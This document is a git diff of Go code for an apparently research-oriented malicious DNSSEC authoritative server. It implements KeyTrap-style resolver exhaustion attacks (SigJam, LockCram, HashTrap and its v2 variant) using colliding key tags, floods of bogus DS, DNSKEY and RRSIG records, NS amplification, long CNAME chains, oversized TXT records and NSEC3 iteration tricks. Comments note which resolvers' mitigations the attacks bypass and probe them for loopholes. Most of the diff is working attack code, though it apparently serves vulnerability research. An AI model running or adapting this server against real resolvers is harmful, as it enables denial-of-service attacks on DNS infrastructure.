+ + // Mitigation + // Limitaiton: + // 1. SigJam --> #RRSIG* Limitation + // 2. LockCram --> #DNSKEY* Limitation + // 3. KeySigTrap --> #RRSIG* && #DNSKEY* Limitation + // 4. HashTrap --> #DS* && #DNSKEY* Limitation + // X. ANY --> #(RRSIG Val.) Limitation + + // Mechanism: + // Suspend(Unbound) + // Workload balance(BIND) + + // X. --> #(RRSIG Val.) Limitation --> Hard to bypass + + // Loophole? + // Notice: No (#Hash Cal.) Limitation + // Only: #DS* && #DNSKEY* Limitation + + // ANY + HashTrap: + // HashTrap: DS* x DNSKEY* + // ANY: (RRSIG, DNSKEY)* + // + // HashTrap v2: (DS, RRSIG)* + // If possible: (DS*, RRSIG*)* + // HashTrap * Deep Delegation. + + // Test config + // Delegation: + // test --> atk.test: 80 + 1 DS_KSK_Pair, + + // 80 Invalid DS_KSK_Pair + // 1 Valid DS_KSK_Pair --> which signs ZSK's RRSIG + + // 80 Invalid DS_KSK_Pair config: + // 10 KegTag== DS (CollidedDSNum) + // 5 KeyTag== KSK (CollidedKSKNum) + + // 1 Valid DS_KSK_Pair config: + // 1 Right DS + // 1 Right KSK + // Make sure return NOERROR. + + // DS Query: 80*10 + 1 = 801(SHA384 DS) + // DNSKEY Query: 80*5 + 1 = 401(ECDSA384 DNSKEY) + + // Size: + // 801 SHA384 DS ~60KB + // 401 ECDSA384 KSK ~60KB --> RSA... --> #KSK↑ + + // #Hash: + // 80*10*5+1 = 4000 SHA384 (plain text size: ~300B) } type KeyTrapResponser struct { ResponserLogger *log.Logger - DNSSECManager godns.DNSSECManager + DNSSECManager KeyTrapManager + AttackVector AttackVector } -// KeyTrap攻击向量 -type KeyTrapVector struct { +// 攻击向量 +type AttackVector struct { // SigJam CollidedSigNum int // LockCram @@ -89,21 +129,44 @@ type KeyTrapVector struct { ANYRRSetNum int // HashTrap v2 - DS_KSK_PairNum int + Invalid_DS_KSK_PairNum int + InvalidCollidedKSKNum int + InvalidCollidedDSNum int + + // Deep Delegation + IsDynamicDSNum bool + + // Tricks + // Large RRSet + TXTRRNum int // Resource Record Numer in RRSet + // Large RDATA + TXTRDataSize int // RDATA Size in Resource TXTRRNum + RandomString string + + // Long CNAME Chain + CNAMEChainNum int // CNAME Chain Number + + // NS Amplification + NSRRNum int // Resource Record Numer in RRSet + IsNSEC bool + NSECRRNum int + NSEC3ItertationNum int // NSEC3 Iteration Number + Salt string // NSEC3 Salt } type KeyTrapManager struct { // DNSSEC 配置 - DNSSECConf godns.DNSSECConfig + DNSSECConf xdns.DNSSECConfig // 区域名与其相应 DNSSEC 材料的映射 // 在初始化 DNSSEC Responser 时需要为其手动添加信任锚点 DNSSECMap sync.Map // KeyTrap攻击向量 - AttackVec KeyTrapVector + AttackVec AttackVector } +// DNSSEC 材料 type DNSSECMaterial struct { // Key Tag ZSKTag int @@ -118,6 +181,12 @@ type DNSSECMaterial struct { KSKPriv []byte } +// SignSection 为指定的DNS回复消息中的区域(Answer, Authority, Addition)进行签名 +// 其接受参数为: +// - section []dns.DNSResourceRecord,待签名的区域(Answer, Authority, Addition)信息 +// +// 返回值为: +// - []dns.DNSResourceRecord,签名后的区域(Answer, Authority, Addition)信息 func (m *KeyTrapManager) SignSection(section []dns.DNSResourceRecord) []dns.DNSResourceRecord { rMap := make(map[string][]dns.DNSResourceRecord) for _, rr := range section { @@ -137,31 +206,45 @@ func (m *KeyTrapManager) SignSection(section []dns.DNSResourceRecord) []dns.DNSR wRRSIG := xperi.GenerateRandomRRRRSIG( rrset, m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), + uint32(InitTime+86400), + uint32(InitTime), uint16(dMat.ZSKTag), uName, ) section = append(section, wRRSIG) } - sig := m.SignRRSet(rrset) section = append(section, sig) } return section } +// SignRRSet 为指定的 RR 集合签名 +// 其接受参数为 +// - rrset []dns.DNSResourceRecord,RR 集合 func (m *KeyTrapManager) SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourceRecord { - uName := dns.GetUpperDomainName(&rrset[0].Name) + var uName string + if len(strings.Split(rrset[0].Name, ".")) == 2 { + if rrset[0].Type == dns.DNSRRTypeNS || + rrset[0].Type == dns.DNSRRTypeNSEC || + rrset[0].Type == dns.DNSRRTypeNSEC3 { + uName = rrset[0].Name + } else { + uName = dns.GetUpperDomainName(&rrset[0].Name) + } + } else { + uName = dns.GetUpperDomainName(&rrset[0].Name) + } + dMat := m.GetDNSSECMaterial(uName) sort.Sort(dns.ByCanonicalOrder(rrset)) sig := xperi.GenerateRRRRSIG( rrset, - m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), + dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm, + uint32(InitTime+86400), + uint32(InitTime), uint16(dMat.ZSKTag), uName, dMat.ZSKPriv, @@ -169,6 +252,10 @@ func (m *KeyTrapManager) SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourc return sig } +// EnableDNSSEC 为指定的 DNS 查询启用 DNSSEC +// 其接受参数为: +// - qry dns.DNSMessage,查询信息 +// - resp *dns.DNSMessage,指向指定回复信息的指针 func (m *KeyTrapManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) { qType := qry.Question[0].Type @@ -200,6 +287,12 @@ func (m *KeyTrapManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) m.EstablishToC(qry, resp) } +// CreateDNSSECMaterial 生成指定区域的 DNSSEC 材料 +// 其接受参数为: +// - zName string,区域名 +// +// 返回值为: +// - DNSSECMaterial,生成的 DNSSEC 材料 func (m *KeyTrapManager) CreateDNSSECMaterial(zName string) DNSSECMaterial { zskRecord, zskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) zskTag := xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) @@ -210,7 +303,7 @@ func (m *KeyTrapManager) CreateDNSSECMaterial(zName string) DNSSECMaterial { kskRecord, kskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) kskTag := xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) - for kskTag < uint16(m.AttackVec.DS_KSK_PairNum) { + for kskTag < uint16(m.AttackVec.Invalid_DS_KSK_PairNum) { kskRecord, kskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) kskTag = xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) } @@ -253,49 +346,31 @@ func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) if qType == dns.DNSRRTypeDNSKEY { // 如果查询类型为 DNSKEY, - // LockCram攻击向量:CollidedKeyNum // 生成 错误ZSK DNSKEY 记录 - rrset := []dns.DNSResourceRecord{dMat.ZSKRecord, dMat.KSKRecord} - for i := 0; i < m.AttackVec.CollidedZSKNum; i++ { - wZSK := xperi.GenerateRandomDNSKEYWithTag( - m.DNSSECConf.DAlgo, - dns.DNSKEYFlagZoneKey, - dMat.ZSKTag, - ) - rrset = append(rrset, dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeDNSKEY, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: uint16(wZSK.Size()), - RData: &wZSK, - }) + rrset := []dns.DNSResourceRecord{} + if qName != "test" { + for i := 0; i < m.AttackVec.CollidedZSKNum; i++ { + wZSK := xperi.GenerateCollidedDNSKEY( + *dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY), + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wZSK.Size()), + RData: &wZSK, + }) + } } - // HashTrap v2 攻击向量: DS_KSK_PairNum - for i := 1; i <= m.AttackVec.DS_KSK_PairNum; i++ { - kskTag := dMat.KSKTag - i - kskRR := xperi.GenerateRandomDNSKEYWithTag( - m.DNSSECConf.DAlgo, - dns.DNSKEYFlagSecureEntryPoint, - kskTag, - ) - rrset = append(rrset, dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeDNSKEY, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: uint16(kskRR.Size()), - RData: &kskRR, - }) + if qName != "test" { // HashTrap攻击向量: CollidedKSKNum // 生成 错误KSK DNSKEY 记录 for i := 0; i < m.AttackVec.CollidedKSKNum; i++ { - wKSK := xperi.GenerateRandomDNSKEYWithTag( - m.DNSSECConf.DAlgo, - dns.DNSKEYFlagSecureEntryPoint, - int(kskTag), + wKSK := xperi.GenerateCollidedDNSKEY( + *dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY), ) rrset = append(rrset, dns.DNSResourceRecord{ Name: qName, @@ -307,18 +382,59 @@ func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) }) } } - sort.Sort(dns.ByCanonicalOrder(rrset)) + + rrset = append(rrset, dMat.ZSKRecord, dMat.KSKRecord) + + // HashTrap v2 攻击向量: Invalid_DS_KSK_PairNum + if qName != "test" { + for i := 1; i <= m.AttackVec.Invalid_DS_KSK_PairNum; i++ { + // HashTrap v2攻击向量: InvalidCollidedKSKNum + // 生成 错误KSK DNSKEY 记录 + for i := 0; i < m.AttackVec.InvalidCollidedKSKNum; i++ { + wKSK := xperi.GenerateCollidedDNSKEY( + *dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY), + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wKSK.Size()), + RData: &wKSK, + }) + } + } + } + // 生成密钥集签名 + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sigSet := []dns.DNSResourceRecord{} + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.KSKTag), + qName, + ) + sigSet = append(sigSet, wRRSIG) + } + sig := xperi.GenerateRRRRSIG( rrset, - dns.DNSSECAlgorithmECDSAP384SHA384, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), + dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm, + uint32(InitTime+86400), + uint32(InitTime), uint16(dMat.KSKTag), qName, dMat.KSKPriv, ) - rrset = append(rrset, sig) + sigSet = append(sigSet, sig) + rrset = append(rrset, sigSet...) resp.Answer = append(resp.Answer, rrset...) resp.Header.RCode = dns.DNSResponseCodeNoErr @@ -329,13 +445,37 @@ func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) rrset := []dns.DNSResourceRecord{} // HashTrap v2 攻击 - for i := 0; i < m.AttackVec.DS_KSK_PairNum; i++ { + for i := 0; i < m.AttackVec.Invalid_DS_KSK_PairNum; i++ { kskTag := dMat.KSKTag - i - // HashTrap 攻击向量:CollidedDSNum + // HashTrap 攻击向量:InvalidCollidedDSNum // 生成 错误DS 记录 - for i := 0; i < m.AttackVec.CollidedDSNum; i++ { + for i := 0; i < m.AttackVec.InvalidCollidedDSNum; i++ { wDS := xperi.GenerateRandomRRDS(qName, kskTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } + + // HashTrap 攻击向量:CollidedDSNum + // 生成 错误DS 记录 + if m.AttackVec.IsDynamicDSNum { + // DS RR Size = QNAME + 10 + RDATA(52) + // DS RRSet Size = DS RR Size * CollidedDSNum + // DS RRSet Size <= 65535 Bytes + // (QNAME + 10 + 52) * CollidedDSNum <= 65535 + // CollidedDSNum <= 65535 / (QNAME + 10 + 52) + qNameSize := dns.GetDomainNameWireLen(&qName) + collidedDSNum := 65000 / (qNameSize + 10 + 52) + for i := 0; i < collidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, dMat.KSKTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } else { + for i := 0; i < m.AttackVec.CollidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, dMat.KSKTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) } } @@ -343,33 +483,50 @@ func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) kskRData, _ := dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY) ds := xperi.GenerateRRDS(qName, *kskRData, m.DNSSECConf.DType) rrset = append(rrset, ds) + resp.Answer = append(resp.Answer, ds) upName := dns.GetUpperDomainName(&qName) dMat = m.GetDNSSECMaterial(upName) + // 签名 sort.Sort(dns.ByCanonicalOrder(rrset)) + sigSet := []dns.DNSResourceRecord{} + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upName, + ) + sigSet = append(sigSet, wRRSIG) + } + sig := xperi.GenerateRRRRSIG( rrset, - m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), + dns.DNSSECAlgorithm(dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm), + uint32(InitTime+86400), + uint32(InitTime), uint16(dMat.ZSKTag), upName, dMat.ZSKPriv, ) - rrset = append(rrset, sig) + sigSet = append(sigSet, sig) - resp.Answer = append(resp.Answer, rrset...) + resp.Answer = append(resp.Answer, sigSet...) resp.Header.RCode = dns.DNSResponseCodeNoErr } - godns.FixCount(resp) + xdns.FixCount(resp) return nil } -func (r *KeyTrapResponser) Response(connInfo godns.ConnectionInfo) ([]byte, error) { +func (r *KeyTrapResponser) Response(connInfo xdns.ConnectionInfo) ([]byte, error) { // 解析查询信息 - qry, err := godns.ParseQuery(connInfo) + qry, err := xdns.ParseQuery(connInfo) if err != nil { r.ResponserLogger.Printf("Error parsing query: %v", err) return []byte{}, err @@ -384,62 +541,373 @@ func (r *KeyTrapResponser) Response(connInfo godns.ConnectionInfo) ([]byte, erro connInfo.Address.String(), connInfo.Protocol, qName, qType, qClass) // 初始化 NXDOMAIN 回复信息 - resp := godns.InitNXDOMAIN(qry) - - switch qType { - case dns.DNSRRTypeA: - // 生成 A 记录 - rr := dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeA, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: 0, - RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 1, 2)}, + resp := xdns.InitNXDOMAIN(qry) + qLables := strings.Split(qName, ".") + + // Tricks攻击向量:NSRRNum + if r.AttackVector.NSRRNum > 0 { + if len(qLables) == 2 { + lable := qLables[0] + if len(lable) > 4 && lable[len(lable)-4:len(lable)-1] == "ref" { + nsNum, err := strconv.Atoi(lable[len(lable)-1:]) + if err != nil { + r.ResponserLogger.Printf("Error parsing NS number: %v", err) + return []byte{}, err + } + if qType == dns.DNSRRTypeNS { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: qName}, + } + resp.Answer = append(resp.Answer, rr) + } else if qType == dns.DNSRRTypeA { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 3, byte(nsNum))}, + } + resp.Answer = append(resp.Answer, rr) + } + resp.Header.RCode = dns.DNSResponseCodeNoErr + } else { + // xxxx.test Referral + rrset := []dns.DNSResourceRecord{} + lable := qLables[0] + for i := 1; i <= r.AttackVector.NSRRNum; i++ { + // 生成 NS 记录 + rdata := dns.DNSRDATANS{ + NSDNAME: fmt.Sprintf("ns.%sref%d.test", lable, i), + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(rdata.Size()), + RData: &rdata, + } + rrset = append(rrset, rr) + } + resp.Authority = rrset + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + } else if len(qLables) == 3 { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: fmt.Sprintf("%s.%s", qLables[1], qLables[2])}, + } + resp.Authority = append(resp.Authority, rr) + resp.Header.RCode = dns.DNSResponseCodeNoErr } - resp.Answer = append(resp.Answer, rr) - case dns.DNSRRTypeNS: - // 生成 NS 记录 - rr := dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeNS, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: 0, - RData: &dns.DNSRDATANS{NSDNAME: qName}, + } else { + switch qType { + case dns.DNSRRTypeA: + // 生成 A 记录 + // Tricks攻击向量:CNAMEChainNum + cLength := 0 + if len(qLables[0]) > 4 && qLables[0][:5] == "cname" { + cLength, err = strconv.Atoi(qLables[0][5:]) + if err != nil { + r.ResponserLogger.Printf("Error parsing CNAME chain length: %v", err) + return []byte{}, err + } + } + if len(qLables) > 2 && cLength < r.AttackVector.CNAMEChainNum { + cLength += 1 + + nName := fmt.Sprintf("cname%d", cLength) + + for i := 1; i < len(qLables); i++ { + nName += "." + qLables[i] + } + + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeCNAME, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATACNAME{CNAME: nName}, + } + + resp.Answer = append(resp.Answer, rr) + } else { + if r.AttackVector.IsNSEC && qLables[0] == "www" { + // NSEC攻击向量 + upperName := dns.GetUpperDomainName(&qName) + randInt := rand.Int() % 99 + if r.AttackVector.NSEC3ItertationNum > -1 { + //生成NSEC3记录 + for i := 1; i < r.AttackVector.NSECRRNum; i++ { + //生成NSEC3记录 + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(r.AttackVector.NSEC3ItertationNum), + SaltLength: 0, + Salt: r.AttackVector.Salt, + HashLength: 0, + NextHashedOwnerName: fmt.Sprintf("0%d.", randInt+i) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+i-1) + upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(r.AttackVector.NSEC3ItertationNum), + SaltLength: 0, + Salt: r.AttackVector.Salt, + HashLength: 0, + NextHashedOwnerName: "zzz." + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+r.AttackVector.NSECRRNum) + upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } else { + for i := 1; i < r.AttackVector.NSECRRNum; i++ { + //生成NSEC记录 + rdata := dns.DNSRDATANSEC{ + NextDomainName: fmt.Sprintf("0%d.", randInt+i) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+i-1) + upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + rdata := dns.DNSRDATANSEC{ + NextDomainName: "zzz." + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+r.AttackVector.NSECRRNum) + upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + } else { + if qLables[0] == "ns" { + nsNum, err := strconv.Atoi(qLables[1][len(qLables[1])-1:]) + if err != nil { + r.ResponserLogger.Printf("Error parsing NS number: %v", err) + return []byte{}, err + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 3, byte(nsNum))}, + } + resp.Answer = append(resp.Answer, rr) + } else { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: ServerIP}, + } + resp.Answer = append(resp.Answer, rr) + } + } + } + case dns.DNSRRTypeNS: + // 生成 NS 记录 + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: qName}, + } + resp.Answer = append(resp.Answer, rr) + case dns.DNSRRTypeTXT: + // Tricks攻击向量:TXTRRNum + for i := 0; i < r.AttackVector.TXTRRNum; i++ { + rRDATA := []byte{} + for j := i; j > 0; j /= 256 { + rRDATA = append(rRDATA, byte(j%256+1)) + } + + rdata := dns.DNSRDATATXT{ + TXT: string(rRDATA), + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeTXT, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Answer = append(resp.Answer, rr) + } + // Tricks攻击向量:TXTRDataSize + if r.AttackVector.TXTRDataSize > 0 { + rdata := dns.DNSRDATATXT{ + TXT: r.AttackVector.RandomString, + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeTXT, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Answer = append(resp.Answer, rr) + } } - resp.Answer = append(resp.Answer, rr) + resp.Header.RCode = dns.DNSResponseCodeNoErr } // 为回复信息添加 DNSSEC 记录 - r.DNSSECManager.EnableDNSSEC(qry, &resp) + if IsDNSSEC { + r.DNSSECManager.EnableDNSSEC(qry, &resp) + } + + if r.AttackVector.IsNSEC && qLables[0] == "www" { + resp.Header.RCode = dns.DNSResponseCodeNXDomain + upperName := dns.GetUpperDomainName(&qName) + var rr dns.DNSResourceRecord + if ExperiVec.NSEC3ItertationNum > -1 { + //生成NSEC3记录 + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(ExperiVec.NSEC3ItertationNum), + SaltLength: 0, + Salt: ExperiVec.Salt, + HashLength: 0, + NextHashedOwnerName: fmt.Sprintf("00%d.", rand.Int()%99) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr = dns.DNSResourceRecord{ + Name: upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + } else { + //生成NSEC记录 + rdata := dns.DNSRDATANSEC{ + NextDomainName: fmt.Sprintf("00%d.", rand.Int()%99) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr = dns.DNSResourceRecord{ + Name: upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + } + resp.Authority = append(resp.Authority, rr) + dMat := r.DNSSECManager.GetDNSSECMaterial(upperName) + for i := 0; i < ExperiVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + []dns.DNSResourceRecord{rr}, + r.DNSSECManager.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upperName, + ) + resp.Authority = append(resp.Authority, wRRSIG) + } + sig := xperi.GenerateRRRRSIG( + []dns.DNSResourceRecord{rr}, + r.DNSSECManager.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upperName, + dMat.ZSKPriv, + ) + resp.Authority = append(resp.Authority, sig) + } - // 设置RCODE,修正计数字段,返回回复信息 - resp.Header.RCode = dns.DNSResponseCodeNoErr - godns.FixCount(&resp) + // 修正计数字段,返回回复信息 + xdns.FixCount(&resp) data := resp.Encode() - // crsp, err := dns.CompressDNSMessage(data) - // if err != nil { - // r.ResponserLogger.Printf("Error compressing response: %v", err) - // return data, nil - // } else { - // return crsp, nil - // } + // 是否启用名称压缩 + if IsNameCompression { + crsp, err := dns.CompressDNSMessage(data) + if err != nil { + r.ResponserLogger.Printf("Error compressing response: %v", err) + return data, nil + } else { + return crsp, nil + } + } else { + return data, nil + } +} - return data, nil +func getRandomString(size int) string { + charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + charsetLen := len(charset) + result := make([]byte, size) + for i := range result { + result[i] = charset[rand.Intn(charsetLen)] + } + return string(result) } func main() { - conf := godns.DNSServerConfig{ - IP: net.IPv4(10, 10, 1, 2), + conf := xdns.DNSServerConfig{ + IP: ServerIP, Port: 53, // stdout LogWriter: os.Stdout, - EnebleCache: true, + EnebleCache: false, CacheLocation: "./cache", PoolCapcity: -1, @@ -456,17 +924,20 @@ func main() { dMap := sync.Map{} dMap.Store("benign", material) - server := godns.NewGoDNSServer(conf, + ExperiVec.RandomString = getRandomString(ExperiVec.TXTRDataSize) + + server := xdns.NewxdnsServer(conf, &KeyTrapResponser{ ResponserLogger: log.New(conf.LogWriter, "KeyTrapResponser: ", log.LstdFlags), - DNSSECManager: &KeyTrapManager{ - DNSSECConf: godns.DNSSECConfig{ + DNSSECManager: KeyTrapManager{ + DNSSECConf: xdns.DNSSECConfig{ DAlgo: dns.DNSSECAlgorithmECDSAP384SHA384, DType: dns.DNSSECDigestTypeSHA384, }, DNSSECMap: dMap, AttackVec: ExperiVec, }, + AttackVector: ExperiVec, }, ) diff --git a/example/malfare/main.go b/example/malfare/main.go deleted file mode 100644 index 242a6f2..0000000 --- a/example/malfare/main.go +++ /dev/null @@ -1,519 +0,0 @@ -package main - -import ( - "log" - "net" - "os" - "sort" - "strings" - "sync" - "time" - - "github.com/tochusc/godns" - "github.com/tochusc/godns/dns" - "github.com/tochusc/godns/dns/xperi" -) - -// HashTrap v2攻击向量 -// ✔️Unbound MAX_DS_MATCH_FAILURE(5) -// ❌BIND #DS<100 and #DNSKEY<100 -// ✔️Knot Resolver Expensive Crypto Limited -// ❌PDNS Recursor #DS<=9 and #DNSKEY<=2 -var ExperiVec = KeyTrapVector{ - CollidedSigNum: 1, - CollidedZSKNum: 1, - - CollidedKSKNum: 4, - CollidedDSNum: 10, - - // www.atk.test - // atk.test -> test - // atk.test 80 DS_KSK, - // DS 16 KegTag== DS - // KSK 4 KeyTag== KSK - // 80 * 17 = 1280 #DS - // 5 * 80 = 400 #KSK - - ANYRRSetNum: 1, - DS_KSK_PairNum: 80, -} - -// -// 32req/s 32dif Malfare Auth. 32 * 400 KSK(Random), 32*1280 DS(Random) -// Pre-Generate: -// DS --> KSK -// RRSIG --> RDATA -// -// Goroutine -// -// Graph --> Load, Loss(Benign request script: 10 req/s got answer?) -// -// No DNSSEC --> -// DNSSEC --> -// -// Local ? Remote -// -// Virtual - -// var ExperiVec = KeyTrapVector{ -// // KeySigTrap:(SigJam, LockCram) -// CollidedSigNum: 1, // SigJam -// CollidedZSKNum: 1, // LockCram - -// // HashTrap -// CollidedKSKNum: 1, -// CollidedDSNum: 1, - -// // HashTrap v2 -// DS_KSK_PairNum: 1, - -// // ANY -// ANYRRSetNum: 1, -// } - -type KeyTrapResponser struct { - ResponserLogger *log.Logger - DNSSECManager godns.DNSSECManager -} - -// KeyTrap攻击向量 -type KeyTrapVector struct { - // SigJam - CollidedSigNum int - // LockCram - CollidedZSKNum int - // HashTrap - CollidedKSKNum int - CollidedDSNum int - // ANY - ANYRRSetNum int - - // HashTrap v2 - DS_KSK_PairNum int -} - -type KeyTrapManager struct { - // DNSSEC 配置 - DNSSECConf godns.DNSSECConfig - - // 区域名与其相应 DNSSEC 材料的映射 - // 在初始化 DNSSEC Responser 时需要为其手动添加信任锚点 - DNSSECMap sync.Map - - // KeyTrap攻击向量 - AttackVec KeyTrapVector -} - -type DNSSECMaterial struct { - // Key Tag - ZSKTag int - KSKTag int - - // 公钥RDATA - ZSKRecord dns.DNSResourceRecord - KSKRecord dns.DNSResourceRecord - - // 私钥字节 - ZSKPriv []byte - KSKPriv []byte -} - -func (m *KeyTrapManager) SignSection(section []dns.DNSResourceRecord) []dns.DNSResourceRecord { - rMap := make(map[string][]dns.DNSResourceRecord) - for _, rr := range section { - if rr.Type == dns.DNSRRTypeRRSIG { - continue - } - rid := 